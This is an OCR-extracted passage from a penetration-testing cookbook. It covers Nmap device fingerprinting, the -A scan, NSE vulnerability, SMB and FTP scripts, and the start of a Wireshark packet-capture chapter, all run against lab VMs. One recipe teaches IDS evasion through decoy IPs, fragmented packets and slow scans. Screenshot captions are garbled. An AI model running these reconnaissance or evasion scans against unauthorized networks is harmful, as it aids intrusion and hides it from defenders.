More information on OS detection can be found athttps://nmap.org/book/man-os-detection.
html.

Performing hardware and device type fingerprinting

Beyond justidentifying operating systems, Nmap can also detect the underlying type of hardware
and devices on the target network. In this recipe, you’ll explore how Nmap gathers clues about
routers, switches, printers, loT devices, and more. By combining this information with other
scan results, you can map your target’s network infrastructure, pinpoint weak links, and better

understand where security vulnerabilities may exist.

Getting ready

You need the following to complete this recipe:

e  TheKali VM needs to be on with you logged in.

e  Turn on as many of the other VMs that you added as your host device has resources for.
Alternatively, if you are on a home network or a network you are authorized to run scans

against, you may use that as your scan destination.

How to do it...
1. Open up the Kali VM terminal window.

2. Start with the same scan you used in the Performing host discovery recipe:

nmap -sn 172.31.50.0/23


https://nmap.org/book/man-os-detection.html
https://nmap.org/book/man-os-detection.html
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Tip
|
I will use my local network to obtain more interesting results. You may use

your VM network, but that may not lead to interesting outputs. You could

also substitute a subnet you are authorized to scan.

The output displays some information about the manufacturer of the discovered devices:

Figure 4.21 - Nmap hardware vendor detection
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3. Inournextscan, we will use a script to try and gather some information from any devices

that have SNMP enabled. Type the following:

nmap -sU -p 161 --script=snmp-sysdescr 172.31.50.0/23

The output will show additional details discovered through SNMP:

'national)

2:60 (Belkin International)

Figure 4.22 - Nmap SNMP scan

4. Next, we will attempt to gather additional information by examining whether the hostre-

sponds with Universal Plug and Play (UPnP) information. Enter the following command:

nmap -sU -p 1900 --script=upnp-info 172.31.50.0/23
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This scan has led to the discovery of a Roku device on the network. This discovery provides

us with additional attack vectors. [oT devices are a goldmine for an attack surface as they

are often soft targets:

) (Unknown)

Figure 4.23 - Nmap UPnP scan

For the next scan, we will try and use mDNS discovery to gain information about the de-

5.
vices on the network. mDNS works over UDP port 5353 and is used by devices to advertise

services without a central DNS server. Enter the following command:

nmap --script=broadcast-dns-service-discovery 172.31.50.0/23
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The output will now provide the specific make and model of a printer that was earlier

only identified as HP:

cp ip
vers=1
inurl=http

nd

A
=Rk

9-10-11,PQ3-4-5, 0o, 189, OFUS M3, 151, V1.4,

ind=document ,envel to, pos

Figure 4.24 - Nmap mDNS scan

6. Youmay now close the terminal window.
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How it works...

Hardware and device discovery requires consolidating information from several scans to gather
more specific information about the various types of devices. In this case, we use several scripts

to aid this detection.

There's more...

You will explore more about scripts and the scripting engine in the Understanding script engine

fundamentals recipe.

Conducting the most common Nmap scan

In this recipe, you’ll leverage Nmap’s -A switch, the all-in-one scan, to pull OS fingerprints, ser-
vice versions, default script results, and traceroute info in a single pass. You’ll run nmap -A
<network> against your lab. By using this scan, you will quickly get key data to inventory hosts

and spot vulnerabilities.

Getting ready

You need the following to complete this recipe:

e  TheKali VM needs to be on with you logged in.

e  Turn on as many of the other VMs that you added as your host device has resources for.
Alternatively, if you are on a home network or a network you are authorized to run scans

against, you may use that as your scan destination.

How to do it...
1. Open up the Kali VM terminal window.

2. One of the most comprehensive scans uses the -A switch. Enter the following:

nmap -A 192.168.92.7

The output will provide detailed information about the open services, including version
information, header information, and even going so far as to find available files in unse-
cured protocols of each host. Some of this information is a combination of many of our

previous scans.
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Examine the extensive output, paying attention to the first section (highlighted by a
rectangle in Figure 4.25):

kali@kali: ~

1r

ITMIME, DSN
thing outside US/count

Figure 4.25 - Nmap -A output 1

You will see that not only is anonymous FTP enabled, but it also gives you a listing of files
available on the device. The second section (also enclosed in a rectangle) shows us that

SMTP is enabled and provides us with the ciphers allowed for encryption.

3. Continue to examine the output and focus on the extensive information about the ports
that are open. In this case, we are reviewing port 8080 and seeing the version of HTTP

running, as well as other relevant information, including the fact that this may be a proxy:

nginx
ttp-server-he g
: Site doesn't have
p-open-proxy: Proxy
open ssl/http
tprotoneg:

.bwapp.loc;

Jhtml).

-1s from scanner time.

Figure 4.26 - Nmap -A output 2
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Finally, we can see in this case that SMB is available and various aspects of the SMB pro-

tocol and how it operates on this device:

emtechnik/Or VirtualBo>

bee-box; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ngerous, but default)
: 26m49s, median: -1s

: <unknown>, NetBIOS MA <unknown> (unknown)

TRACEROUTE
HOP RTT

tion performed. i r L E t nmap.org/submit/ .
ss (1 host up)

Figure 4.27 - Nmap -A output 3

4.  Youmay now close the terminal window.

How it works...

Nmap’s -A switch scan is basically a shortcut that combines several features into a single com-

mand. It’s designed to give you an overview of a host or network in just one pass.

See also...

More information on popular Nmap scans can be found at https://nmap.org/book/man.html.

Implementing detection and evasion techniques

In this recipe, you will examine how Nmap interacts with firewalls, intrusion detection systems
(IDSs), and other security measures. We’ll discuss techniques to minimize your footprint, avoid
triggering alarms, and find creative ways to bypass network defenses. As a pentester, itis important
to be aware of the possibility of internal systems monitoring for both malicious and anomalous
behavior. Using techniques that operate more discreetly helps avoid triggering any alarms that

could alert the target system to the fact that someone is scanning the network.


https://nmap.org/book/man.html
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Getting ready

You need the following to complete this recipe:

The Kali VM needs to be on with you logged in.
Turn on as many of the other VMs that you added as your host device has resources for.
Alternatively, if you are on a home network or a network authorized to run scans against,

you may use that as your scan destination.

How to do it...

1.
2.

Launch the Kali VM terminal window.
As part of our evasion techniques, we will move to SYN scans, often referred to as half-open
scans, using the -sS entry. We will further slow down the scan significantly using the -T2

modifier. Enter the following command:

nmap -sS -T2 192.168.92.7

From the output, you will see that the results are similar to other recipes, but the scan
took longer to perform, going from seconds to minutes. Time is often on the side of the
pentester. The more you can prolong scanning in an environment, the more likely you

are to go unnoticed:

Session Actions Edit View

open
open
open
open
open
open
open
open
open
open
open
open
open

Figure 4.28 - Nmap host slow
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By using a SYN scan, we look at the firewall or IDS as just a device trying to connect to a

host. Further, by slowing the scan down, we avoid detection systems that use thresholds

as a triggering mechanism.

3. Wewill now send fragmented packets as part of our scan. Fragmented packets can often

trick security devices, as they must reassemble them in memory to detect anomalous

behavior. Fragments are indicated by -f. Enter the following command:

nmap -sS -f 192.168.92.7

As per the prior scan, we have received the same results, just using a different scanning

technique that may help to avoid alerting the target. There are many methods of scanning

to obtain the same results. Understanding the defenses a target network has will help you

decide on which techniques to use:

0

Session Actions Edit View Help

arting Nmap 7.95 (

Not shown: 98

STATE

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

MAC Address:

Nmap done: 1 IP address (1 host up) scanned in ©.99 seconds

~

SERVICE
ftp

ssh
smtp
http

netbios-

https
microso

192.168.9:

55N

-ds

hnik

Figure 4.29 - Nmap fragmented packets

tualBox wirtual NIC)
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4.

In the next scan, we are going to have Nmap use decoy IP addresses. In this way, if there
is a detection, it will take the Security Operation Center (SOC) team longer to determine
where the real threat came from and hopefully trick them into believing it was a false

alarm. We use -D for this.

Enter the following command:

nmap -sS -D RND:5 192.168.92.0/24

Tip

After -D, you can either provide a comma-separated list of IP addresses or

use RND : X, where it will choose random IP addresses, with X referring to the

number of random IP addresses.

The output shows similar results to other network scans we have done:

msSTpC

emtechnik/Oracle VirtualBox virtual NIC)

Figure 4.30 - Nmap decoys
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5. We can combine all the techniques we just learned (SYN scanning, fragmentation, and
slowing down the scan) in combination to further aid in obfuscating our actions. Enter

the following command:

nmap -sS -f -T2 --scan-delay 3s -D RND:10 192.168.92.0/24

From the output, you can see we received similar results, but it took an extremely long
amount of time, going from minutes to hours. By combining these techniques, we took an
even more conservative approach to scanning our network. By being more conservative,

we were even more likely to evade detection.

Nmap done

Figure 4.31 - Nmap combined evasion scan time

Tip
N ! / . . . .
—@— When you are working as a penetration tester, you must consider the time
A

element. Use time to your advantage. Often, the slower you go, the fewer

alarms you trip, and the ones you do trip may get lost in the noise of a SOC.

6. Youmay now close the terminal window.
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How it works...

These scans aim to reduce the likelihood of your presence being detected and discovered, and
ultimately, your access being blocked. Through the various techniques, we learned how to go
unnoticed and undetected. Itis absolutely critical for a pentester to be able to conduct their work
without raising any alarms or triggering any detections. Once you target knows you are actively

working to compromise them, their guard will be up, making your job very difficult or impossible.

See also...

More information on Nmap firewall and IDS/IPS evasion techniques can be found here: https://

nmap.org/book/man-bypass-firewalls-ids.html.

Understanding script engine fundamentals

Nmap’s flexibility extends far beyond its default scanning capabilities, thanks to the powerful
Nmap Scripting Engine (NSE). This recipe will introduce you to the basics of using scripts to
automate tasks, enhance detection accuracy, and extract richer details from your targets. We’ll
walk you through using built-in scripts and guide you on writing your own. We have used a
couple of scripts in previous recipes, but here, we will better understand their ability to help us
gain critical information about the network, the devices on the network, and the services those

devices have that may be available for us to use as attack vectors in the future.

Getting ready

Make sure the Kali VM is on and you are logged in. Turn on as many of the other VMs that you

added as your host device has resources for.

How to do it...
1. Open up the Kali VM terminal window.

2. One of the first scripts we will use is for a vulnerability scan against a set of hosts using

--script vuln. Enter the following:

nmap --script vuln 192.168.92.7

Tip
N Scripts are grouped into categories, with vuln being one of those catego-
AN ries. The total list of categories includes default, broadcast, brute, dos,

external, fuzzer, malware, version, vuln, auth, discovery, safe, and
intrusive.


https://nmap.org/book/man-bypass-firewalls-ids.html
https://nmap.org/book/man-bypass-firewalls-ids.html
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3.

The output provides information related to potential vulnerabilities that the host may
be susceptible to. This information includes the specific vulnerability or exploit, the risk
factor of how critical the vulnerability could be, details about what type of exploit or

access can be gained, and lastly, reference information:

kali@kali: ~

_domain_poli
ing-same-orig

ssdomain.xml: Adobe Flash crossdomain policy
Aanan httnec -1+
rtbl
VULNERABL
rious wvul ility in the popular Op
ing inform on intended to be prot

(includin
lows fo
allow for di

uses nonde
-the-middle

p
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

Figure 4.32 - Nmap vuln script category

In this case, we will combine version detection (-sV) with the default script category,

as shown here:

nmap -sV --script default 192.168.92.7
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You will see more detailed information than when we used the scan without the script.
Here, we see additional information related to the specifics of the service version, com-

puter, domain, account, and security information:

gerous,
tion failed (S

NetBIOS MAC: <unknown> (unknown)
-1s

5+@

ce detection performed. Please report any incorrect results at https nmap.org/submit/
Nmap do 1 IP address (1 host up) scanned in 4 seconds

Figure 4.33 - Nmap default script category

4. In the next scan, we will check the host for specific scripts based on FTP. Enter the fol-

lowing:

The output shows that not only is FTP open, but it also provides the directory:

ing Nmap 7.95 ( https
[ftp-bounce] PO I

STATE SERV.
ftcp open ftp

ftp-anon: Anonymous
= 1 root

1 root
1 root
1 root
1 root
1 root
1 root

Figure 4.34 - Nmap FTP
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5. Our next scan will target smb, as follows:

nmap -p445 --script=smb-os-discovery,smb-enum-shares,smb-enum-users

192.168.92.7

6. In this output, we see a listing of SMB users and some of the accessible SMB shares:

] kali@kali: ~

Session Actions Edit View Help

Host is

PORT STATE SER
445/tcp o

ost script
smb-enum-users:

L 1 user account
0X\nobody (RID: 5@1)

account

Compu
NetBI
Domain name:

FQDN: be
Svstem time ? 127:52+01:00

smb-enum-sh

9 WCu |
YPE_PRINTQ
tePDF i

<unlimited>

- HP Offic

<unlimited>

PE_PRINTQ

Figure 4.35 - Nmap SMB users and shares
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7. Continuing further down, we receive valuable information regarding the SMB OS:

name: -bo

S computer name:
Domain name:

Figure 4.36 - Nmap SMB OS

8. Our next scan will target HTTP/web services. Enter the following:

nmap -p80,443,8080,8443 -sV --script=http-enum,http-title,http-
headers,http-robots.txt,http-methods 192.168.92.7

The output provides us with a variety of information. If we look at just the scan on port

80, we see the title, headers, server, version, and files:

kali@kali: ~
Session Actions Edit View Help

6 PHP/S

.6 PHP/5. 2ubuntu5 with Suhosin-Pa

: Adobe Flash crossdomain policy
pMyAdmin

ory listing

sting on

GET HEAD POST OPTIONS TRA

2ubuntu5 with

2ubun

4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Pa

Figure 4.37 - Nmap HTTP
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9. Lastly, if you want to receive more information about a script or a script group, you can

use --script-help. Use the following command:

nmap --script-help ftp-anon

The output details what the script does and the information it provides:

kali@ kali: ~

Session Actions Edit View Help

tp-anon.html
anonymous logins.

y directory listing of the root directory

Figure 4.38 - Nmap script help

10. You may now close the terminal window.

How it works...

NSE allows users to run various Lua-based scripts that extend Nmap’s functionality beyond port
scanning. Lua is a lightweight scripting language used in other security products such as Snort.
NSE includes scripts that test for high-profile flaws such as Heartbleed, Shellshock, or MS17-010.
Other scripts automate credential checks against common usernames and passwords on services
such as SSH, FTP, SMB, and HTTP, flagging weak or default credentials without manual interven-
tion. Database-focused scripts can enumerate tables or check for SQL injection vulnerabilities,
while web application scripts crawl login forms, detect cross-site scripting opportunities, and
fingerprint frameworks such as WordPress or Drupal. By combining these into your scan, you

extend Nmap from a port discovery to vulnerability and exploit discovery.

See also...

More information on NSE can be found at https://nmap.org/book/nse.html.


https://nmap.org/book/nse.html

170 Nmap Mastery — Scanning with Precision

Get This Book’s PDF Version and

Exclusive Extras
1
Ok W0
| ™

Scan the QR code (or go to packtpub. com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require one.




Wireshark Wizard: Network
Traffic Demystified

Wireshark is a network protocol analyzer that is essential for penetration testers because of its
ability to capture and analyze real-time networks. By monitoring data packets traversing the
network using Wireshark, you can identify vulnerabilities and understand the overall security
stance of the systems in the target network. Whether you are conducting a routine network au-
dit or exploring new ways to exploit possible weaknesses, Wireshark’s deep packet inspection

features are key.

You will explore the primary use cases of Wireshark in penetration testing, from filtering traffic and
isolating specific threats to reconstructing entire sessions for thorough analysis. You’ll discover
how to tailor Wireshark’s interface to fit your workflow and export captured data in formats that
work with other security tools. By the end of this chapter, you’ll have gained an understanding of

techniques to leverage Wireshark’s capabilities, building on your knowledge of Kali Linux tools.
The following recipes will be covered in this chapter:

e  Setting up Wireshark

e  Capturing network traffic

e  Performing packet analysis
e Implementing display filters

e  Filtering captured traffic
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e  Performing TCP analysis (FTP)
e  Performing UDP analysis (DNS)
e Analyzing web applications

e Importing PCAP files

Technical requirements

All of the recipes in this chapter can be conducted within the VirtualBox environment and orig-
inate from the Kali VM.

Setting up Wireshark

Before analyzing network packets and identifying possible vulnerabilities, ensure that Wireshark
is correctly installed and configured. In this recipe, we’ll cover selecting the appropriate version
of Wireshark for your setup, establishing key preferences, and personalizing your interface for

efficient penetration testing.

Getting ready

You need the following to complete this recipe:

e TheKali VM off

e The VirtualBox management interface up and running

How to do it...
1. Inthe VirtualBox management interface, highlight the Kali VM and select Settings.

T3 Oracle VirtualBox Manager
File Machine Help

| -J Mew Open Discard Start
: E64BN  feali-linux-2025.3-virtualbox-amd64
= fJ
@ Powered Off
1]
Metasploitable3-ub1404
3 i)
= Q Powered Off
= k64l | metasploitable3-workplace_win2k8_1761546297310_59729
- i @
L0 @) powered OFf
i

% DVI 1.5

Figure 5.1 - Kali VM settings
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2. Switch to Expert mode on the Settings screen and select Network. Under Adapter 1, se-

lect Allow All next to Promiscuous Mode. Selecting all will capture all physical network

traffic. Do the same for Adapter 2, and when completed, select OK.

@ kali-linux-2025.3-virtualbox-amdb4 - Settings

e E

-

General
System
|§| Display
@ Storage
(DJ Audio

Serial Ports

USE

Shared Folders

User Interface

&
&
=
(]

Network
Adapter? = Adapter3 | Adapterd
V| Enable Network Adapter
Attached to | Bridged Adapter -
Realtek 8211CU Wireless LAN 802.11ac USE NIC

Mame

Adapter Type | Intel PRO/1000 MT Desktop (82340EM)

= [m] X

Search settings £

I Promiscuous Mode | Allow All

MAC Address 0800271FB723

v Virtual Cable Connected

Serial Ports

Port 1 Port 2 Port 3 Port 4

Enable Serial Port

Cancel

Figure 5.2 - Kali network settings

3. Now that all interfaces are in promiscuous mode, start the Kali VM.

4. Oncethe VM is started, log in and open a terminal window.

5. To check whether Wireshark is installed, enter the following:

6. If it is installed, you will see an output displaying the package name, version, and

apt list wireshark

[installed] at the end.

Help

7. Ifitis notinstalled, you will receive an error saying not found. Install it with the follow-

ing command:

sudo apt update && sudo apt install wireshark -y

Enter your password as required and follow the prompts to install.



174

Wireshark Wizard: Network Traffic Demystified

10.
11.

12.
13.

To launch Wireshark, search for it in the menu. Alternatively, since you are already in a

terminal window, you can enter the following:

The Wireshark interface will launch, as shown in the following figure:

£ The Wireshark Network Analyzer
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA© cBB@ a2 c>n<«>WEooo@E
e — DL

Welcome to Wireshark

...using this filter: | |Ente ture filte '] Allinterfaces shown~

eth0
ethl
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
© DisplayPort AUX channel monitor capture: dpauxmon
® Random packet generator: randpkt
® systemd Journal Export: sdjournal
® SSH remote capture: sshdump
® UDP Listener remote capture: udpdump
@ Wi-Fi remote capture: wifidump

User's Guide - Wiki - Questionsand Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.4.9.

E  Ready to load or capture No Packets Profile: Default
Figure 5.3 - Wireshark interface

Take a minute to explore this interface. Do not select any interfaces from the dialog yet.

Now, go to the preferences under Edit | Preferences. Take a moment to scroll through all

the options available.
Under Capture, ensure Capture packets in promiscuous mode is checked.

Lastly, scroll to Name Resolution, ensure you have Resolve network (IP) addresses un-
checked, and select OK.
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Tip
Name resolution can create tremendous DNS traffic, which can clutter your
-(v)- capture. Also, it could trigger alerts. There are instances where capturing
= the DNS traffic is useful, such as if you’re trying to understand the naming

conventions on the network or want to use the device names to help identify

potential targets. Just be aware of the implications.

14. You may now close Wireshark or move on to the following recipe.

How it works...

In this recipe, we ensured that our network interfaces were in promiscuous mode. Promiscuous
mode allows us to see all traffic on the interface, not just traffic destined for us. We also ensured
that Wireshark was installed, and a base configuration was set up. As you become more familiar
with Wireshark, you may wish to customize it to make it easier for your use. Users may wish to
customize Wireshark by adjusting its layout, modifying color rules to highlight specific types of
traffic, or setting default capture interfaces to streamline repeated tasks. Personalizing columns
to display fields such as HTTP hostnames or TCP flags can also enhance visibility into protocol

behavior during analysis.

See also...

More information on customizing Wireshark can be found in their documentation: https://www.

wireshark.org/docs/wsug_html_chunked/ChapterCustomize.html.

Capturing network traffic

Capturing network traffic serves as the basis for analysis in Wireshark. This recipe will show you
how to choose the correct network interface, adjust the capture settings, and implement capture
filters that concentrate on the data pertinent to your penetration-testing goals. Additionally,
we’ll address best practices for avoiding data overload, ensuring you capture what is necessary
toidentify vulnerabilities and detect interesting activities while avoiding the hassle of navigating

through endless streams of irrelevant information.

Getting ready

You need the following to complete this recipe:

e The Kali Linux VM up and operational


https://www.wireshark.org/docs/wsug_html_chunked/ChapterCustomize.html
https://www.wireshark.org/docs/wsug_html_chunked/ChapterCustomize.html
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How to do it...

1

In the Kali interface, either open Wireshark by finding it in the menu or open a terminal
window and type wireshark.

In the Wireshark interface, you will see a list of potential capture points on the left. Next
to the live interfaces, you will see a graph of current network traffic. Finally, at the very

top is a filter dialog that you can use to capture just the traffic that is significant to you.

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® R AR@ 2 < >n«>WEooo@E
e — T

Welcome to Wireshark

..using this filter: |l |Ente ture filte -] Allinterfaces shown~

eth0
ethl
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
® Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
® Random packet generator: randpkt
@ systemd Journal Export: sdjournal
® SSH remote capture: sshdump
® UDP Listener remote capture: udpdump
® Wi-Fi remote capture: wifidump

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.4.9.

E Ready to load or capture No Packets Profile: Default
Figure 5.4 - Wireshark capture interface

The Ethernet interface displaying all the traffic (eth®) in the preceding figure connects
to my home network, while eth1 connects to the VM network. We will select ethe, by

double-clicking on it, so that we can quickly view some interesting traffic.

Immediately, your interface will change so you can see the live packets being captured.
At the top is a scrolling window of the packets. In the lower left, there is a packet decode,
and in the lower right, there is a hex dump of the packet. On the bottom left, you will see
that we have a live capture on ethe, and further to the right, you will see the number of

packets captured.
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Capturing from cthO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODAE c @BRM@ 2 « »n «>»BEE oo oER

Source Destination Protocol Length Info

4.498194591 1.33 221.234 Protected Payload (KPB), DCID=e3841e53|
42 4.498194881 192.168.1.33 142.251.221.234 269 Protected Payload (KP®), DCID=e3841e53
43 4.498194961 192.168.1.33 8.8.4.4 79 Protected Payload (KP®), DCID=e44a8f3f
44 4.500021906 142.251.221.234 192.168.1.33 66 Protected Payload (KP®)
45 4.501888635 8.8.4.4 192.168.1.33 764 Protected Payload (KPO)
46 4.501888975 192.168.1.33 8.8.4.4 75 Protected Payload (KP®), DCID=e44a8f3f
47 4.505352345 142.251.221.234 192.168.1.33 162 Protected Payload (KPO)
48 4.505352656 142.251.221.234 192.168.1.33 71 Protected Payload (KP®)
49 4.505352746 142.251.221.234 192.168.1.33 67 Protected Payload (KP®)
50 4.505352836 8.8.4.4 192.168.1.33 65 Protected Payload (KP®)
51 4.505352927 192.168.1.33 142.251.221.234 73 Protected Payload (KP®), DCID=e3841e53
52 4.569756259 142.251.221.234 192.168.1.33 411 Protected Payload (KPO)
53 4.570316763 192.168.1.33 142.251.221.234 90 Protected Payload (KP@), DCID=e3841e53
54 4.570741957 142.251.221.234 192.168.1.33 317 Protected Payload (KP®)
55 4.577235492 142.251.221.234 192.168.1.33 Protected Payload (KPO)

4.577235863 Protected Payload (KP®), DCID=e3841e53|

Frame 3
Ethe

® E  ethO: <live capture in progress> Packets: 56 Profile: Default

Figure 5.5 - Wireshark live capture

5. After you have captured a couple thousand packets, click the red button on the menu bar

at the top to stop the capture.

L)

File Edit View Go Capture Analyze S5Statistics Telepho

AOMAO = BE@ a « » n

160.000000000

2 B.002374918 fe80::9a9d:b2ff:fe7..

3 0.103987193 fe80::fb9c:1acc:91c.. ffe2
4 0.240240934 fe8@::f17d:c2a9:26b.. ffo2
5 1.236156684 fe8@::f17d:c2a9:26b.. ffo2
6 1.492392603 fe8d: :1e82:c243:933.. ffoz

Figure 5.6 - Stop packet capture
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Tip
N You will find that capturing a large number of packets does not take long. In corpo-
A rate environments, it’s even faster, especially as you move closer to the core of the

network or into the data center. Filters can help narrow your capture to only the

traffic you are interested in.

In the next recipe, we will be using the traffic just captured.

How it works...

Wireshark captures packets by placing your network interface into a mode (promiscuous mode)
that allows it to receive all traffic flowing across the network segment, not just the traffic specif-

ically addressed to your machine.

See also...

More information on capturing packets can be found in the Wireshark documentation: https://

www.wireshark.org/docs/wsug_html_chunked/ChapterCapture.html.

Performing packet analysis

Analyzing packets is where we begin to look at the data that flows across a network. This recipe
covers the fundamentals of reading packet details, interpreting protocol headers, and using built-

in features such as color-coding and sorting to highlight potential packets of interest.

Getting ready

You need the following to complete this recipe:
e TheKali VM up and operational
e  The Wireshark interface up and running

e  Apacket capture of a minimum of 2,000 packets from a reasonably active network

How to do it...

1. Inthe Wiresharkinterface, find a packet showing ARP under the Protocol column. Select

it to display the packet decoding at the bottom.


https://www.wireshark.org/docs/wsug_html_chunked/ChapterCapture.html
https://www.wireshark.org/docs/wsug_html_chunked/ChapterCapture.html
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File Edit

View Go Capture Analyze Statistics Telephony Wireless Tools

*ethl
Help

ADA® R BEM@ c ¢« >n «>EEoeo ol

No. Time

423923619

Source
192.168.92.3

Destination Protocol

192.168.92.7

Length Info
98 Echo

(ping) request

1d=0x0002, seq=196/50176|

2.

.424690120 192.168.92.7 192.168.92.3 98 Echo (ping) reply 1d=0x0002, seq=196/50176|
53 23.427586479 PCSSystemtec 14:7b PCSSystemtec_00:08:|. ARP 42 Who has 192.168.92.7?7 Tell 192.168.92.3
54 23.428187128 PCSSystemtec_00:08 PCSSystemtec_14:7b:|. ARP 60 192.168.92.7 is at 08:00:27:00:08:89
55 24.216590735 192.168.56.1 239.255.255.250 SSDP 212 M-SEARCH * HTTP/1.1
56 24.448016122 192.168.92.3 192.168.92.7 ICMP 98 Echo (ping) request 1id=0x0002, seq=197/50432
57 24.448621601 192.168.92.7 192.168.92.3 ICMP 98 Echo (ping) reply 1d=6x0002, seq=197/50432
58 25.217650181 192.168.56.1 239.255.255.250 SSDP 212 M-SEARCH * HTTP/1.1
59 25.472158568 192.168.92.3 .168.92.7 ICMP 98 Echo (ping) request 1id=ex0002, seq=198/50688|
60 25.472809474 192.168.92.7 TCMP 98 Echo (ping) reply 1d=6x0002, seq=198/50688
61 26.193331505 192.168. 3 324 DHCP Request Transaction ID Oxef7cf303

.196292778 PCSSystemtec_14: PCSSystemtec_1 A g b

64 26.196277101 192.168.92.2 192.168.92.3 DHCP 590 DHCP AC| - Transaction ID Oxef?cf303

65 26.495686045 192.168.92.3 192.168.92.7 Echo (ping) request 1id=6x8002, seq=199/50944

66 26.496334837 192.168.92.7 192.168.92.3 (ping) reply X0002, Seq=199/50944
.519633509 192.168.92.3 192.168.92.7 (ping) request X0002, Seq=200/51200
.520336018 192.168.92.7 192.168.92.3 (ping) reply X0002, 5eq=200/51200

» Frame 62: 6@ bytes on wire (
+ Ethernet II, Src: PCSSystemt
} Address Resolution Protocol (r s 0 90 © 8 S5c

(5(! (9(9 GG 00 00

o

) 5
3 00 00 00 0O 00 00
00 08 @0

Figure 5.7 - Wireshark ARP packet

Scroll through the pane on the lower left.

*ethl

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® s BBEB @ ¢« >n «>EHE oo o[@

Source Destination Protocol Length Info

51 23.423923619 192.168.92.3 192.168.92.7 98 Echo (ping) request 1d-6x8082,

52 23.424690120 192.168.92.7 192.168.92.3 ICHP 98 Echo (ping) reply  id=x@e2,

53 23.427586479 PCSSystemtec 14:7b:.. PCSSystemtec 80:08:.. ARP 42 who has 192.168.92.7? Tell 192.168.92.3

54 23.428187128 PCSSystemtec_©0:08:.. PCSSystemtec_14:7b:.. ARP 60 192.168.92.7 is at 08:00:27:00:08:89

55 24216590735 192.168.56.1 239.255.255.250 sSDP 212 M-SEARCH * HTTP/1.1

56 24.448016122 192.168.92.3 192.168.92.7 1CMP 98 Echo (ping) request 1d=6x0002, seq=197/50432

57 24.448621661 192.168.92.7 192.168.92.3 1CMP 98 Echo (ping) reply  1d=6x8002, seq=197/50432

58 25.2176560181 192.168.56.1 239.255.255.250 SSDP 212 M-SEARCH * HTTP/1.1

59 25.472158568 192.168.92.3 192.168.92.7 ICMP 98 Echo (ping) request 1d=6x8082, seq=198/50688

60 25.472809474 192.168.92.7 192.168.92.3 ICHP 98 Echo (ping) reply  1d=0x0002, seq=198/50688
93331505 192.168.9 192.168.92.2 DHCP 324 oxef7cf3es

DHCP Request
66 Who has 192.16!
192.168.92.3

- Transaction ID
8

.196292778

PCSSystemtec_14:7b:.. PCSSystemtec_lc:ed: HCE]

“oxef7cfa03

64 26.196277101 192.168.92.2 192.168.92.3 DHCP 596 DHCP ACK - Transaction ID

65 26.495686045 192.168.92.3 192.168.92.7 ICMP 98 Echo (ping) request 1d=0x8002, seq=193/50944

66 26.496334837 192.168.92.7 192.168.92.3 ICMP 98 Echo (ping) reply 1 99/50944

67 27.519633509 192.168.92.3 192.168.92.7 ICMP 98 Echo (ping) request i 00/51200
.520336018 192. 7 192.168.92.3 Echo (ping) reply id=0x0082, seq=200/51200)

ff ff ff ff
8 6 04 a8 5c¢

ag ee GG BE 00 eo GG
00 00 00 B0 00 e0 oo

00 0O 0O 6O 0O 0O 0O B0 00 0@ 0@ @ @ aeeess
4575944 EDT
UTC Arrival Time 3.434575944

Epoch Arrival Tim

uTc

[Time
[ij.:

shift
delta

for this pa
from previous ©

delta
e since
Number
Length:
capture Lanth

1ng
et TT.

~ Etheri

® E  wireshark_eth1EC2HF3.pcapng Packets: 70 - Dropped: 0 (0.0%) Profile: Default

Figure 5.8 - Wireshark scroll through packet
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3.

4.

To expand, double-click on the packet at the top of the window to open a new decoding
pane.

Wireshark - Packet 62 - eth1

2: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface ethi, id @
Sectil numbe
Interface id (eth1)
Encapsulation type
Arrival Time: O
UTC Arrival Time:
Epoch Arrival Time
[Time shift for th packet:
[Time delta from previous captured fram
[Time delta from p 0 displayed frame
[Time since referer or first frame: 26.
Frame Number
Frame Length:

4 ag 5
00 00 00 00 00 @

[
00 00 G0 0O 00 0@ 00 0O 00 ee

No.: 62 - Time: 26.196276580 - Source: PCSSystemtec_lc:e4:be - Destination: Broadcast - Protocol: ARP - Length: 60 - Info: Who has 192.168.92.37 Tell 192.168.92.2
v Show packet bytes Layout: Vertical (Stacked) =

% Close £ Help

Figure 5.9 - Wireshark packet decoding

As you scroll through the packet, expand on areas you want more information on. You
will now see that Wireshark is giving you a full, informed decoding of the packet with all

headers and payloads, along with a description of what you are looking at.
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Wireshark - Packet 62 - eth1
~ Frame 62: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface ethl, id @
Cartinn _numhar: 4
« Interface id (eth1)
Interface name: ethi
psulation typ Ether
ival Time Bl
UTC Arrival i
Epoch Arrival Time: 1761717343.434575944
[Time shift for this packet
[Time
delta from pr
since reference or first frame: 2
Number: 62
Length: 6@ bytes

ff ff ff Ff ff ff 08
¢

B8 B0 B0 B0 B8 ® c 03 B8 88
00 00 00 6O 6O 60 60 00 00 00

No.: 62 - Time: 26.196276580 - Source: PCSSystemtec_Tc:ed:be - Destination: Broadcast - Protocel: ARP - Length: 60 - Info: Who has 192.168.92.37 Tell 192.168.92.2
v Show packet bytes Layout: Vertical (Stacked) =

% Close 2 Help

Figure 5.10 - Wireshark expanding on areas

5. Open the Ethernet header; you will see the source and destination MAC addresses as well

as the packet type (ARP).

‘Wireshark - Packet 62 - ethl

[Protocols in frame: eth:ethertype:arp]
[Coloring Rule Nan
[Coloring Rule Str

- Etharnat IT _ Cre: 3 :be), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
~ Destination: Bro s N it i AL L
SooC SooooRoC Ui 1ly administered address
(multicast/bro

